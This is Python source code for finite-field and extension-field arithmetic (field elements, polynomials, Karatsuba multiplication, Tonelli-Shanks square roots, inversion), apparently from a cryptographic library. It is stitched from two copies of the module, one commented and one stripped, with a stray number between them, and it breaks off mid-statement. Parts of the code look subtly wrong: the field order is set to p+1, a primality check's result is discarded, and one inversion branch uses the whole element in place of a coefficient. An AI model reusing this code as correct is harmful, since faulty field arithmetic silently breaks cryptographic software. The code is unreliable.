return c==self.F.one() def squareroot(self): ''' This method returns the positive square root of an element of the field using the Tonelli-Shanks algorithm Carefull : if the element has no square root, the method does not check this case and raises an error. Verification has to be done before calling the method. ''' g = self.F.g if g == None : g = self.F.findnonresidue() self.F.g = g q = self.F.q s=0 t=self.F.q-1 while t%2==0: s=s+1 t=t/2 # q-1 = (2**s)*t e = 0 for i in range(2,s+1): b = 2**(i-1) b1 = b*2 # b1 = 2**i c = ((self)*(g**(-e)))**((q-1)/b1) if not c==self.F.one() : e = e+b h = self*(g**(-e)) b = (g**(e/2))*(h**((t+1)/2)) assert b**2 == self # FAILURE to find square root return b def fingerprint(self): return fingexp.fingerprint(self.val) def jsonable(self): return {'type': 'FieldElem', 'F': self.F, 'val': self.val} class ExtensionField(Field): ''' This class defines extension fields and inherits field methods. Depending on the degree of the extension field, we use different algorithms to optimize the operations ''' def __init__(self,F,irpoly,g=None,rep=None): '''Define the base Field or extension Field and the irreducible polynomial F is the base field on top of which the extension field is built irpoly is the irreducible polynomial used to build the extension field as F/irpoly g is a non quadratic residue used to compute square roots, if it is set to None, computing a square root will initialize g rep is the representation of the root of irpoly (note that letter 'A' is reserved for the Complex extension field) ''' self.F = F self.irpoly = irpoly self.deg = len(irpoly.coef) # degree of the irreducible polynomial + 1 assert self.deg > 0 self.q = self.F.q**(self.deg-1) # order of the Field self.tabular = self.table() if rep == None : self.rep = rd.choice(['B','C','D','E','F','G','H','J','K','L']) #Choose a random representation letter else : self.rep = rep self.char = F.char self.primefield = gmpy.is_prime(self.char) self.g = g # g is needed to compute square roots, it is a non quadratic residue self.to_fingerprint = ["F","irpoly"] self.to_export = {"fingerprint": [],"value": ["F","irpoly"]} def one(self): 'unit element for multiplication' One = [self.F.zero()]*(self.deg-1) One[self.deg-2]= self.F.one() return ExtensionFieldElem(self,polynom(self.F,One)) def zero(self): 'unit element for addition' Zero = [self.F.zero()]*(self.deg-1) return ExtensionFieldElem(self,polynom(self.F,Zero)) def unit(self): ''' root of the irreducible polynomial e.g. return element 1*A+0 (or the complex value i) if the irpoly is X**2+1 ''' I = self.zero() I.poly.coef[-2]=self.F.one() return I def elem(self,x): ''' Provided that x belongs to F, return an element of the extension field of value x ''' P = self.zero() P.poly.coef[-1] = x return P def random(self): ''' Return a random element of the Extension Field ''' polycoef = [0]*(self.deg-1) for i in range(self.deg-1): polycoef[i] = self.F.random() poly = polynom(self.F,polycoef) return ExtensionFieldElem(self,poly) def __eq__(self, other): 'testing if we are working in the same extension field' try: return (self.F == other.F and self.irpoly == other.irpoly) except: return False def add(self, a, b): ''' field operation: addition of polynomial > addition of coefficients in the appropriate field ''' #assert a.F == b.F and a.F.F == self.F if not a.deg == b.deg : a = self.reduc(a) b = self.reduc(b) polysum = [0]*a.deg for i in range(a.deg): polysum[i]=a.poly.coef[i]+b.poly.coef[i] P = polynom(self.F,polysum) return ExtensionFieldElem(self,P) def sub(self, a, b): ''' field operation: substraction of polynomials > substraction of each coefficient in the appropriate field ''' #assert a.F == b.F and a.F.F == self.F if not a.deg == b.deg : a = self.reduc(a) b = self.reduc(b) c = self.neg(b) return self.add(a,c) def neg(self, a): ''' field operation: opposite of a polynomial > opposite of each coefficient in appropriate field ''' #assert a.F.F == self.F ap = [0]*a.deg for i in range(a.deg): ap[i] = -a.poly.coef[i] P = polynom(self.F,ap) return ExtensionFieldElem(self,P) def smul(self,a,b): ''' Return a*b where a or b is scalar ''' if not isinstance(b,FieldElem): # b is scalar A = a.poly.coef Pc = [0]*len(A) for i in range(len(Pc)): Pc[i] = A[i]*gmpy.mpz(b) return ExtensionFieldElem(self,polynom(self.F,Pc)) else : # a is scalar return self.smul(b,a) def pmul(self,a,b): '''Multiplication between polynomials ''' #assert a.F == b.F and a.F.F == self.F if not a.deg == b.deg : a = self.reduc(a) b = self.reduc(b) # Simpler notations for reading A = a.poly.coef B = b.poly.coef k = self.deg-1 # degree of the externsion field if k == 2 and self.F.rep =='A': # We are in the case that the extension field is Fp2 # We assume here that the irreductible polynom is X**2+1 (beta=-1) # Complex multiplication a0,a1,b0,b1 = A[0].val,A[1].val,B[0].val,B[1].val p = self.char v0 = a0*b0 v1 = a1*b1 c0 = ((a0+a1)*(b0+b1)-v0-v1)%p c1 = (v1-v0)%p c0e = FieldElem(c0,self.F) c1e = FieldElem(c1,self.F) cp = polynom(self.F,[c0e,c1e]) C = ExtensionFieldElem(self,cp) return C elif k == 2: # In this case, use Karatsuba multiplication algorithm # notations a0 = A[0] a1 = A[1] b0 = B[0] b1 = B[1] beta = -self.irpoly.coef[-1] v0 = self.F.pmul(a0,b0) v1 = self.F.pmul(a1,b1) c0 = self.F.pmul((a0+a1),(b0+b1))-v0-v1 # coefficient of X c1 = v1 + self.F.pmul(v0,beta) # independant term cp = polynom(self.F,[c0,c1]) C = ExtensionFieldElem(self,cp) return C elif k == 3: # In this case, use Karatsuba multiplication algorithm # notations a0,a1,a2 = A b0,b1,b2 = B beta = -self.irpoly.coef[-1] v0,v1,v2 = self.F.pmul(a0,b0), self.F.pmul(a1,b1), self.F.pmul(a2,b2) c0 = self.F.pmul((a0+a2),(b0+b2))-v0+v1-v2 # coefficient of X**2 c1 = self.F.pmul((a2+a1),(b2+b1))-v2-v1+self.F.pmul(beta,v0) # coefficient of X c2 = v2+self.F.pmul(beta,(self.F.pmul((a1+a0),(b1+b0))-v1-v0)) # independant term cp = polynom(self.F,[c0,c1,c2]) C = ExtensionFieldElem(self,cp) return C else : prod = convolve(A,B) return self.reduc2(prod) # return EProd % ired. polynomial def square(self,a): ''' This algortihm returns the square of a in the field using different methods if the degree of the extension is 2,3 or more ''' #print a.F #print self assert a.F == self if not a.deg == self.deg-1 : a = self.reduc(a) #notations A = a.poly.coef k = self.deg-1 # degree of the extension if k == 2 and self.F.rep == 'A': # Using the complex multiplication # We are in the case that the extension field is Fp2 # We assume here that the irreductible polynom is X**2+1 (beta=-1) a1, a0 = A[0].val,A[1].val p = self.char v0 = a0*a1 c0 = ((a0+a1)*(a0-a1))%p c1 = (v0+v0)%p c0e = FieldElem(c0,self.F) c1e = FieldElem(c1,self.F) cp = polynom(self.F,[c1e,c0e]) C = ExtensionFieldElem(self,cp) return C elif k == 2: # Using the complex multiplication a1, a0 = A beta = -self.irpoly.coef[-1] v0 = self.F.pmul(a0,a1) c0 = self.F.pmul((a0+a1),(a0+self.F.pmul(a1,beta)))-v0-self.F.pmul(beta,v0) c1 = v0+v0 cp = polynom(self.F,[c1,c0]) return ExtensionFieldElem(self,cp) elif k == 3: # Using Chung-Hasan Squaring2 a2,a1,a0 = A #print a0 #print 'a0',a0.F, a0.F.deg-1 #print 'self',self.F, self.F.deg-1 assert a0.F == self.F beta = -self.irpoly.coef[-1] s0 = self.F.square(a0) t1 = self.F.pmul(a0,a1) s1 = t1+t1 s2 = self.F.square((a0-a1+a2)) t3 = a1*a2 s3 = t3+t3 s4 = self.F.square(a2) c0 = s0 + self.F.pmul(beta,s3) c1 = s1 + self.F.pmul(beta,s4) c2 = s1 + s2 + s3 - s0 -s4 cp = polynom(self.F,[c2,c1,c0]) return ExtensionFieldElem(self,cp) else : return self.F.pmul(a,a) def invert(self,a): ''' Ths method returns the inverse of a in the field The inverse is computed by determining the Bezout coefficient using the extended Euclide's algorithm or by specialized algorithms depending on the degree of the extension (2 or 3) ''' #assert self.invertible(a) #The element must be invertible assert a.F == self k = self.deg-1 if k == 2 and self.F.rep == 'A': # inversion in a field of characteristic 2 over prime field # We are in the case that the extension field is Fp2 # We assume here that the irreductible polynom is X**2+1 (mod=-1) A = a.poly.coef a1,a0 = A[0].val,A[1].val # a = a0+a1*i p = self.char norm = a0*a0+a1*a1 invnorm = gmpy.invert(norm,p) c0 = (a0*invnorm) % p c1 = (-a1*invnorm) % p c0e = FieldElem(c0,self.F) c1e = FieldElem(c1,self.F) invap = polynom(self.F,[c1e,c0e]) inva = ExtensionFieldElem(self,invap) return inva elif k == 2 : # inversion in a field of characteristic 2 over prime field A = a.poly.coef a1,a0 = A[0],A[1] # a = a0+a1*i #print 'A',A #print 'a1',a1 mod = self.irpoly.coef[-1] # i**2 = -mod #a1b,a0b,modb = self.F.elem(a1), self.F.elem(a0),self.F.elem(mod) #print 'a1b',a1b #a1b2 = self.F.square(a1b) a12 = self.F.square(a1) #mid = self.F.pmul(a1b2,modb) mid = self.F.pmul(a12,mod) #norm = self.F.square(a0b)+mid norm = self.F.square(a0)+mid #invnorm = self.F.invert(a0**2+mod*a1**2) #invnorm = self.F.invert(norm.poly.coef[-1]) invnorm = self.F.invert(norm) c = self.F.pmul(a0,invnorm) # c = -a1/(a0**2+mod*a1**2) d = -self.F.pmul(a1,invnorm) invap = polynom(self.F,[d,c]) inva = ExtensionFieldElem(self,invap) return inva elif k == 3 : # inversion in char. 3 field A = a.poly.coef a2,a1,a0 = A[0],A[1],A[2] mod = -self.irpoly.coef[-1] z0 = self.F.zero() z1 = self.F.one() if a0 == z0: #a0 = 0 if a1 == z0: #a1 = 0 c0,c1,c2 = z0, self.F.invert(self.F.pmul(a2,mod)), z0 elif a2 == z0: #a2 = 0 c0,c1,c2 = z0,z0,self.F.invert(self.F.pmul(a1,mod)) else : #a1,a2 != 0 a22 = self.F.square(a2) a12 = self.F.square(a1) c2 = self.F.pmul(a12,self.F.invert((self.F.pmul(self.F.pmul(a22,a2),mod)+self.F.pmul(self.F.pmul(a12,a1),mod)))) c1 = self.F.pmul((z1-self.F.pmul(self.F.pmul(a1,c2),mod)),self.F.invert(self.F.pmul(a2,mod))) c0 = self.F.pmul((-(self.F.pmul(self.F.pmul(a2,mod),c2))),self.F.invert(a1)) else : #a0 != 0 if a1 == z0 and a2 == z0: #a1 = 0 , a2 = 0 c0,c1,c2 = self.F.invert(a0),z0,z0 else : a12 = self.F.pmul(a1,a2) a12m = self.F.pmul(a12,mod) a00 = self.F.square(a0) abis = a00-a12m if abis == z0: #a0**2-(a1*a2*mod) = 0 a11 = self.F.square(a1) a22 = self.F.square(a2) a02 = self.F.pmul(a0,a2) a01 = self.F.pmul(a0,a1) c2 = self.F.pmul(-a,self.F.invert(self.F.pmul((a02-a11),mod))) c1 = self.F.pmul(-a2,self.F.invert(a01-self.F.pmul(a22,mod))) a1c2 = self.F.pmul(a1,c2) a2c1 = self.F.pmul(a2,c1) c0 = self.F.pmul((z1-self.F.pmul(a1c2+a2c1,mod)),self.F.invert(a0)) else : #a0**2-(a1*a2*mod) != 0 if a1 == z0: #a1 = 0 inva0 = self.F.invert(a0) a02 = self.F.pmul(a0,a2) a000 = self.F.pmul(a00,a0) a22 = self.F.square(a2) a222 = self.F.pmul(a22,a2) mm = self.F.square(mod) a222mm = self.F.pmul(a222,mm) c2 = self.F.pmul(-a02,self.F.invert(a000+a222mm)) a02m = self.F.pmul(a02,mod) a02mc2 = self.F.pmul(a02m,c2) inva00 = self.F.square(inva0) c1 = self.F.pmul(-a02mc2,inva00) a2m = self.F.pmul(a2,mod) a2mc1 = self.F.pmul(a2m,c1) c0 = self.F.pmul(z1-a2mc1,inva0) elif a2 == z0: #a2 = 0 a11 = self.F.square(a1) a111 = self.F.pmul(a11,a1) a000 = self.F.pmul(a00,a0) a111m = self.F.pmul(a111,mod) inva0 = self.F.invert(a0) c2 = self.F.pmul(a11,self.F.invert(a111m+a000)) a11m = self.F.pmul(a11,mod) a11mc2 = self.F.pmul(a11m,c2) inva00 = self.F.square(inva0) c1 = self.F.pmul(a11mc2-a1,inva00) a1m = self.F.pmul(a1,mod) a1mc2 = self.F.pmul(a1m,c2) c0 = self.F.pmul(z1-a1mc2,inva0) else : #a1,a2 != 0 a01 = self.F.pmul(a0,a1) a22 = self.F.square(a2) a22m = self.F.pmul(a22,mod) a02 = self.F.pmul(a0,a2) a11 = self.F.square(a1) abus = a01-a22m abos = self.F.pmul(a02-a11,mod) invabis = self.F.invert(abis) abb = self.F.pmul(abus,invabis) abb1 = self.F.pmul(abb,a1) abbbos = self.F.pmul(abb,abos) c2 = self.F.pmul(abb1-a2,self.F.invert(abis-abbbos)) abosc2 = self.F.pmul(abos,c2) c1 = self.F.pmul(-a1-abosc2,invabis) a1c2 = self.F.pmul(a1,c2) a2c1 = self.F.pmul(a2,c1) c0 = self.F.pmul(z1-self.F.pmul(a1c2+a2c1,mod),self.F.invert(a0)) invap = polynom(self.F,[c2,c1,c0]) inva = ExtensionFieldElem(self,invap) return inva else : # inversion in a field of char. != 2,3 # this inversion takes a longer time (than previous method) # it uses extended Euclid's algorithm P = ExtensionFieldElem(self,self.irpoly) r,u,v = self.extendedeuclide(P,a) n,d = r.poly.truedeg() assert n == self.deg-2 c = r.poly.coef[len(r.poly.coef)-1].invert() cp = polynom(self.F,[c]) ce = ExtensionFieldElem(self,cp) return ce*v def invertible(self,a): ''' Return True if a is invertible ''' return not self.reduc(a)==self.zero() def div(self,a,b): return a*self.invert(b) def eucldiv(self,a,b): ''' Return a/b and a%b a and b are of length d-1 where d is the degree of the irreducible polynomial ''' zero = self.F.zero() izero = self.zero() d = self.deg assert not b.poly.iszero() # Do not divide by zero if a.poly.iszero() : return izero, izero # quotient is zero, remain is zero elif a == b: return self.one(), izero # quotient is one, remain is zero #Notations A = a.poly.coef B = b.poly.coef n, da = a.poly.truedeg() # position of first non zero elem of a and degree of a m, db = b.poly.truedeg() # same for b if da<db : # deg(a)<deg(b) return izero, a # quotient is zero, remain is a elif da==db: #deg(a)=deg(b) deg = max(d-1,da) rc = [zero]*(deg) qc = [zero]*(deg) q = A[n]/B[m] for i in range(1,deg): rc[i] = A[n+i]-q*B[m+i] qc[deg-1] = q rp = polynom(self.F,rc) qp = polynom(self.F,qc) remain = ExtensionFieldElem(self,rp) quotient = ExtensionFieldElem(self,qp) return quotient, remain else : # deg(a)>deg(b) deg = max(d-1,da) p = deg - da rc = [zero]*(deg) qc = [zero]*(deg) rc[deg-da:] = A[n:] pm=0 while p+pm+db<deg+1: #k is the position of the index of the quotient k = deg-(da-db)-1+pm qc[k] = rc[p+pm]/B[m] for i in range(db): rc[i+p+pm] = rc[i+p+pm]- qc[k]*B[m+i] pm=pm+1 rp = polynom(self.F,rc) qp = polynom(self.F,qc) remain = ExtensionFieldElem(self,rp) quotient = ExtensionFieldElem(self,qp) return quotient, remain def reduc(self,a): ''' Return a % self.irpoly The polynomial a = [a_0,...,a_n-1] is returned modulo the irreducible polynomial The reduced polynomial has length at most d-1 where d is the length of the irreducible polynomial ''' assert a.F.F == self.F if a.poly.iszero() : return self.zero() elif a.poly == self.irpoly : return self.zero() elif a.deg < self.deg : c = [self.F.zero()]*(self.deg-1-a.deg) newacoef = c+a.poly.coef newapoly= polynom(self.F, newacoef) newaelem = ExtensionFieldElem(self, newapoly) return newaelem else : # Case where a is not zero or the irreducible polynomial and deg(a)>=deg(irpoly) q,r = self.eucldiv(a,ExtensionFieldElem(self,self.irpoly)) r = self.trunc(r) return self.reduc(r) def reduc2(self,a): ''' a is a list of length (d-1)*2-1 (polynomial length) this method returns the equivalent element of length d-1 using the table of equivalences (build from the irreducible polynomial) in the function self.table() ''' As = a[:(self.deg-2)] Ad = a[(self.deg-2):] b = list(dot(As,self.tabular)+Ad) newapoly = polynom(self.F,b) newa = ExtensionFieldElem(self,newapoly) return newa def trunc(self,a): '''Return an ExtensionFieldElem of length d-1 where d = deg(irpoly) ''' d = self.deg if a.deg == d-1: return a c = a.poly.coef[a.deg-d+1:] # the (d-1) last elements of a cp = polynom(self.F,c) return ExtensionFieldElem(self,cp) def table(self): ''' This method returns a table (usually) stored in self.tabular which is used to compute reduction after a multiplication between two elements ''' d = self.deg T = zeros((d-2,d-1),dtype=object_) Pc = self.irpoly.coef[1:] for i in range(0,d-2): Qc = [self.F.zero()]*(2*(d-1)-1) Qc[i+1:i+d] = Pc Qp = polynom(self.F,Qc) Qe = ExtensionFieldElem(self,Qp) Q = self.reduc(-Qe) T[i] = array(Q.poly.coef) return T def extendedeuclide(self,a,b): '''Return s,u,v such as s = ua + vb, s is the gcd of a and b This method is used to compute the inverse of a mod b (when s=1) ''' #init one = self.one() zero = self.zero() s = a u = one v = zero sp = b up = zero vp = one #loop : invariants are s = ua+vb and sp = up*a+vp*b while not sp.poly.iszero() : q,r = self.eucldiv(s,sp) s,u,v,sp,up,vp = sp, up, vp, r, u-up*q,v-vp*q return self.reduc(s),self.reduc(u),self.reduc(v) def __str__(self): return str(self.F)+"/"+str(self.irpoly) def jsonable(self): return {'type': 'Field Extension', 'F': self.F, 'irpoly': self.irpoly, 'degree':self.deg-1} class ExtensionFieldElem(FieldElem): def __init__(self,F,poly): '''Define the Extension Field and the representative polynomial ''' self.F = F self.poly = poly self.siz = len(poly.coef) self.deg = self.siz def __str__(self): x = self.F.rep p = self.poly s = '(' if self.siz == 1 : s = s+str(p.coef[0]) if self.siz == 2 : s = s+str(p.coef[0])+'*'+x+' + '+str(p.coef[1]) if self.siz > 2 : s =s+str(p.coef[0])+'*'+x+'**'+str(self.siz-1) for i in range(1,self.siz-2): s = s+' + '+str(p.coef[i])+'*'+x+'**'+str(self.siz-1-i) s = s+' + '+str(p.coef[self.siz-2])+'*'+x +' + '+str(p.coef[self.siz-1]) return s+')' def __eq__(self,other): try: return self.F == other.F and self.poly == other.poly except: return False def fingerprint(self): return self.poly.fingerprint() def jsonable(self): return {'type': 'ExtensionFieldElem', 'F': self.F, 'poly': self.poly, 'size': self.siz} class polynom: ''' This class represents a polynomial written P = c_nX**n+...c_1X+c_0 c_0,...,c_n are in the Field F (which can be an ExtensionField) so they are either FieldElem or ExtensionFieldElem coef is a list : coef = [c_n,...,c_0] of length n+1 ''' def __init__(self,F,coef): self.F = F # The field in which coeficients belong if isinstance(coef,list): self.coef = coef # A list of coeficient in decreasing order (by convention) of the polynomial's degree self.deg = len(coef) # The degree+1 of the polynomial else : #coef is not a list but a single element self.coef = [coef] self.deg = 1 def __eq__(self,other): try: return (self.F == other.F and self.coef == other.coef) except: return False def __str__(self): # Not consistent with representation letter of the fields x = self.F.rep if x == None: x = 'X' s = '(' if self.deg == 1 : s = s+str(self.coef[0]) if self.deg == 2 : s = s+str(self.coef[0])+'*'+x+' + '+str(self.coef[1]) if self.deg > 2 : s =s+str(self.coef[0])+'*'+x+'**'+str(self.deg-1) for i in range(1,self.deg-2): s = s+' + '+str(self.coef[i])+'*'+x+'**'+str(self.deg-1-i) s = s+' + '+str(self.coef[self.deg-2])+'*'+x +' + '+str(self.coef[self.deg-1]) return s+')' def fingerprint(self): L = [] for c in self.coef: L.append(c.fingerprint()) return fingexp.fingerprint(L) def iszero(self): '''Return True if it is a zero polynomial (each coefficient is zero) This does not return True if the polynomial is the polynomial that generates the extension field ''' cond = True for i in self.coef: pcond = i.iszero() cond = pcond*cond return cond def truedeg(self): '''Return the position of the first non zero coefficient and the actual degree of the polynomial ''' if self.iszero(): return 0,0 n = 0 while self.coef[n]==self.F.zero(): n = n+1 # n is the position of the first non zero coeff of the polynomial return n, self.deg-n # position and actual degree of the polynomial def jsonable(self): return {'type': 'polynomial', 'F': self.F, 'coeficients': self.coef, 'degree': self.deg}

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0.494208

from numpy import * import gmpy from Crypto.Random.random import randint import random as rd import tools.fingexp as fingexp import tools.utils as utils class Field(fingexp.FingExp): def __init__(self,p): self.F = self self.p = gmpy.mpz(p) self.char = self.p self.q = self.p+1 gmpy.is_prime(p) self.rep = None self.g = None self.to_fingerprint = ["p"] self.to_export = {"fingerprint": [],"value": ["p"]} super(Field, self).__init__() def load(self, data, fingerprints): self.p = utils.b64tompz(data["p"]) def one(self): return FieldElem(1, self) def zero(self): return FieldElem(0,self) def elem(self,x): if isinstance(x,FieldElem): assert x.F == self return x m = gmpy.mpz(1) assert isinstance(x,int) or isinstance(x, long) or type(x)==type(m) return FieldElem(x,self) def random(self,low=1,high=None): if high == None : high = int(self.p-1) rand = randint(low,high) return self.elem(rand) def __eq__(self, other): try: return (self.p == other.p) except: return False def add(self, a, b): return FieldElem((a.val + b.val) % self.p, self) def sub(self, a, b): return FieldElem((a.val - b.val) % self.p, self) def neg(self, a): return FieldElem((self.p - a.val ) % self.p, self) def mul(self, a, b): if not isinstance(b,FieldElem) : if b<0: return self.smul(-a,-b) return self.smul(a,b) else: return self.pmul(a,b) def smul(self,a,b): if not isinstance(b,FieldElem): return FieldElem((gmpy.mpz(b)*a.val)%(self.p),self) else : return self.smul(b,a) def sm(self,b,a): return FieldElem((gmpy.mpz(b)*a.val)%(self.p),self) def pmul(self,a,b): return FieldElem((a.val * b.val) % self.p, self) def dbleAndAdd(self,P,Pp,n): if n == 0 : return self.zero(); if n == 1 : return P elif n%2 == 1 : Q = self.dbleAndAdd(P,Pp,(n-1)/2) return P+Q+Q elif n%2 == 0 : Q = self.dbleAndAdd(P,Pp,n/2) return Q+Q def powop(self, a, b): m = gmpy.mpz(1) if not isinstance(b, int) and not isinstance(b, long) and not type(b)==type(m): raise Exception("Exponentation by a non integer, long or mpz") c = b if c > self.char-1 or c<0: c = b%(self.char-1) if c == 0 : assert not a.val%self.char == 0 return self.one() elif c == 1 : return a else : return self.sqrtAndMultply(a,a, c) def sqrtAndMultply(self,P,Pp,n): if n == 0 : return self.one() elif n == 1 : return P elif n%2 == 1 : Q = self.sqrtAndMultply(P,Pp,(n-1)/2) return P*self.square(Q) elif n%2 == 0 : Q = self.sqrtAndMultply(P,Pp,n/2) return self.square(Q) def square(self,a): return FieldElem(pow(a.val,2, self.p), self) def invert(self,a): assert not (a.val%self.p == 0) return FieldElem(gmpy.invert(a.val, self.p), self) def div(self,a,b): assert not (b.val%self.p == 0) return FieldElem((a.val*self.invert(b).val % self.p),self) def findnonresidue(self): g=self.random() while g.isquadres(): g = self.random() return g def __str__(self): return "F_"+str(self.p) def jsonable(self): return {'type': 'FqField', 'p': self.p} class FieldElem(): def __init__(self, val, F): self.F = F self.val = gmpy.mpz(val) self.poly = polynom(self.F,[self]) def __eq__(self, other): try: return ((self.val%self.F.char) == (other.val%self.F.char) and self.F == other.F) except: return False def __add__(self, other): return self.F.add(self, other) def __neg__(self): return self.F.neg(self) def __sub__(self, other): return self.F.sub(self, other) def __radd__(self, other): return self.__add__(other) def __mul__(self, other): return self.F.mul(self, other) def __rmul__(self, other): return self.__mul__(other) def __pow__(self, e): return self.F.powop(self, e) def __div__(self,other): return self.F.div(self,other) def __truediv__(self,other): return self.F.div(self,other) def __str__(self): return str(self.val) def iszero(self): return self == self.F.zero() def invert(self): return self.F.invert(self) def invertible(self): return self.F.invertible(self) def isquadres(self): if (self+self.F.zero()).iszero() : return False else : c = self**((self.F.q-1)/2) return c==self.F.one() def squareroot(self): g = self.F.g if g == None : g = self.F.findnonresidue() self.F.g = g q = self.F.q s=0 t=self.F.q-1 while t%2==0: s=s+1 t=t/2 e = 0 for i in range(2,s+1): b = 2**(i-1) b1 = b*2 c = ((self)*(g**(-e)))**((q-1)/b1) if not c==self.F.one() : e = e+b h = self*(g**(-e)) b = (g**(e/2))*(h**((t+1)/2)) assert b**2 == self return b def fingerprint(self): return fingexp.fingerprint(self.val) def jsonable(self): return {'type': 'FieldElem', 'F': self.F, 'val': self.val} class ExtensionField(Field): def __init__(self,F,irpoly,g=None,rep=None): self.F = F self.irpoly = irpoly self.deg = len(irpoly.coef) assert self.deg > 0 self.q = self.F.q**(self.deg-1) self.tabular = self.table() if rep == None : self.rep = rd.choice(['B','C','D','E','F','G','H','J','K','L']) else : self.rep = rep self.char = F.char self.primefield = gmpy.is_prime(self.char) self.g = g self.to_fingerprint = ["F","irpoly"] self.to_export = {"fingerprint": [],"value": ["F","irpoly"]} def one(self): One = [self.F.zero()]*(self.deg-1) One[self.deg-2]= self.F.one() return ExtensionFieldElem(self,polynom(self.F,One)) def zero(self): Zero = [self.F.zero()]*(self.deg-1) return ExtensionFieldElem(self,polynom(self.F,Zero)) def unit(self): I = self.zero() I.poly.coef[-2]=self.F.one() return I def elem(self,x): P = self.zero() P.poly.coef[-1] = x return P def random(self): polycoef = [0]*(self.deg-1) for i in range(self.deg-1): polycoef[i] = self.F.random() poly = polynom(self.F,polycoef) return ExtensionFieldElem(self,poly) def __eq__(self, other): try: return (self.F == other.F and self.irpoly == other.irpoly) except: return False def add(self, a, b): if not a.deg == b.deg : a = self.reduc(a) b = self.reduc(b) polysum = [0]*a.deg for i in range(a.deg): polysum[i]=a.poly.coef[i]+b.poly.coef[i] P = polynom(self.F,polysum) return ExtensionFieldElem(self,P) def sub(self, a, b): if not a.deg == b.deg : a = self.reduc(a) b = self.reduc(b) c = self.neg(b) return self.add(a,c) def neg(self, a): ap = [0]*a.deg for i in range(a.deg): ap[i] = -a.poly.coef[i] P = polynom(self.F,ap) return ExtensionFieldElem(self,P) def smul(self,a,b): if not isinstance(b,FieldElem): A = a.poly.coef Pc = [0]*len(A) for i in range(len(Pc)): Pc[i] = A[i]*gmpy.mpz(b) return ExtensionFieldElem(self,polynom(self.F,Pc)) else : return self.smul(b,a) def pmul(self,a,b): if not a.deg == b.deg : a = self.reduc(a) b = self.reduc(b) A = a.poly.coef B = b.poly.coef k = self.deg-1 if k == 2 and self.F.rep =='A': a0,a1,b0,b1 = A[0].val,A[1].val,B[0].val,B[1].val p = self.char v0 = a0*b0 v1 = a1*b1 c0 = ((a0+a1)*(b0+b1)-v0-v1)%p c1 = (v1-v0)%p c0e = FieldElem(c0,self.F) c1e = FieldElem(c1,self.F) cp = polynom(self.F,[c0e,c1e]) C = ExtensionFieldElem(self,cp) return C elif k == 2: a0 = A[0] a1 = A[1] b0 = B[0] b1 = B[1] beta = -self.irpoly.coef[-1] v0 = self.F.pmul(a0,b0) v1 = self.F.pmul(a1,b1) c0 = self.F.pmul((a0+a1),(b0+b1))-v0-v1 c1 = v1 + self.F.pmul(v0,beta) cp = polynom(self.F,[c0,c1]) C = ExtensionFieldElem(self,cp) return C elif k == 3: a0,a1,a2 = A b0,b1,b2 = B beta = -self.irpoly.coef[-1] v0,v1,v2 = self.F.pmul(a0,b0), self.F.pmul(a1,b1), self.F.pmul(a2,b2) c0 = self.F.pmul((a0+a2),(b0+b2))-v0+v1-v2 c1 = self.F.pmul((a2+a1),(b2+b1))-v2-v1+self.F.pmul(beta,v0) c2 = v2+self.F.pmul(beta,(self.F.pmul((a1+a0),(b1+b0))-v1-v0)) cp = polynom(self.F,[c0,c1,c2]) C = ExtensionFieldElem(self,cp) return C else : prod = convolve(A,B) return self.reduc2(prod) def square(self,a): assert a.F == self if not a.deg == self.deg-1 : a = self.reduc(a) A = a.poly.coef k = self.deg-1 if k == 2 and self.F.rep == 'A': a1, a0 = A[0].val,A[1].val p = self.char v0 = a0*a1 c0 = ((a0+a1)*(a0-a1))%p c1 = (v0+v0)%p c0e = FieldElem(c0,self.F) c1e = FieldElem(c1,self.F) cp = polynom(self.F,[c1e,c0e]) C = ExtensionFieldElem(self,cp) return C elif k == 2: a1, a0 = A beta = -self.irpoly.coef[-1] v0 = self.F.pmul(a0,a1) c0 = self.F.pmul((a0+a1),(a0+self.F.pmul(a1,beta)))-v0-self.F.pmul(beta,v0) c1 = v0+v0 cp = polynom(self.F,[c1,c0]) return ExtensionFieldElem(self,cp) elif k == 3: a2,a1,a0 = A assert a0.F == self.F beta = -self.irpoly.coef[-1] s0 = self.F.square(a0) t1 = self.F.pmul(a0,a1) s1 = t1+t1 s2 = self.F.square((a0-a1+a2)) t3 = a1*a2 s3 = t3+t3 s4 = self.F.square(a2) c0 = s0 + self.F.pmul(beta,s3) c1 = s1 + self.F.pmul(beta,s4) c2 = s1 + s2 + s3 - s0 -s4 cp = polynom(self.F,[c2,c1,c0]) return ExtensionFieldElem(self,cp) else : return self.F.pmul(a,a) def invert(self,a): k = self.deg-1 if k == 2 and self.F.rep == 'A': A = a.poly.coef a1,a0 = A[0].val,A[1].val p = self.char norm = a0*a0+a1*a1 invnorm = gmpy.invert(norm,p) c0 = (a0*invnorm) % p c1 = (-a1*invnorm) % p c0e = FieldElem(c0,self.F) c1e = FieldElem(c1,self.F) invap = polynom(self.F,[c1e,c0e]) inva = ExtensionFieldElem(self,invap) return inva elif k == 2 : A = a.poly.coef a1,a0 = A[0],A[1] mod = self.irpoly.coef[-1] a12 = self.F.square(a1) mid = self.F.pmul(a12,mod) norm = self.F.square(a0)+mid invnorm = self.F.invert(norm) c = self.F.pmul(a0,invnorm) d = -self.F.pmul(a1,invnorm) invap = polynom(self.F,[d,c]) inva = ExtensionFieldElem(self,invap) return inva elif k == 3 : A = a.poly.coef a2,a1,a0 = A[0],A[1],A[2] mod = -self.irpoly.coef[-1] z0 = self.F.zero() z1 = self.F.one() if a0 == z0: if a1 == z0: c0,c1,c2 = z0, self.F.invert(self.F.pmul(a2,mod)), z0 elif a2 == z0: c0,c1,c2 = z0,z0,self.F.invert(self.F.pmul(a1,mod)) else : a22 = self.F.square(a2) a12 = self.F.square(a1) c2 = self.F.pmul(a12,self.F.invert((self.F.pmul(self.F.pmul(a22,a2),mod)+self.F.pmul(self.F.pmul(a12,a1),mod)))) c1 = self.F.pmul((z1-self.F.pmul(self.F.pmul(a1,c2),mod)),self.F.invert(self.F.pmul(a2,mod))) c0 = self.F.pmul((-(self.F.pmul(self.F.pmul(a2,mod),c2))),self.F.invert(a1)) else : if a1 == z0 and a2 == z0: c0,c1,c2 = self.F.invert(a0),z0,z0 else : a12 = self.F.pmul(a1,a2) a12m = self.F.pmul(a12,mod) a00 = self.F.square(a0) abis = a00-a12m if abis == z0: a11 = self.F.square(a1) a22 = self.F.square(a2) a02 = self.F.pmul(a0,a2) a01 = self.F.pmul(a0,a1) c2 = self.F.pmul(-a,self.F.invert(self.F.pmul((a02-a11),mod))) c1 = self.F.pmul(-a2,self.F.invert(a01-self.F.pmul(a22,mod))) a1c2 = self.F.pmul(a1,c2) a2c1 = 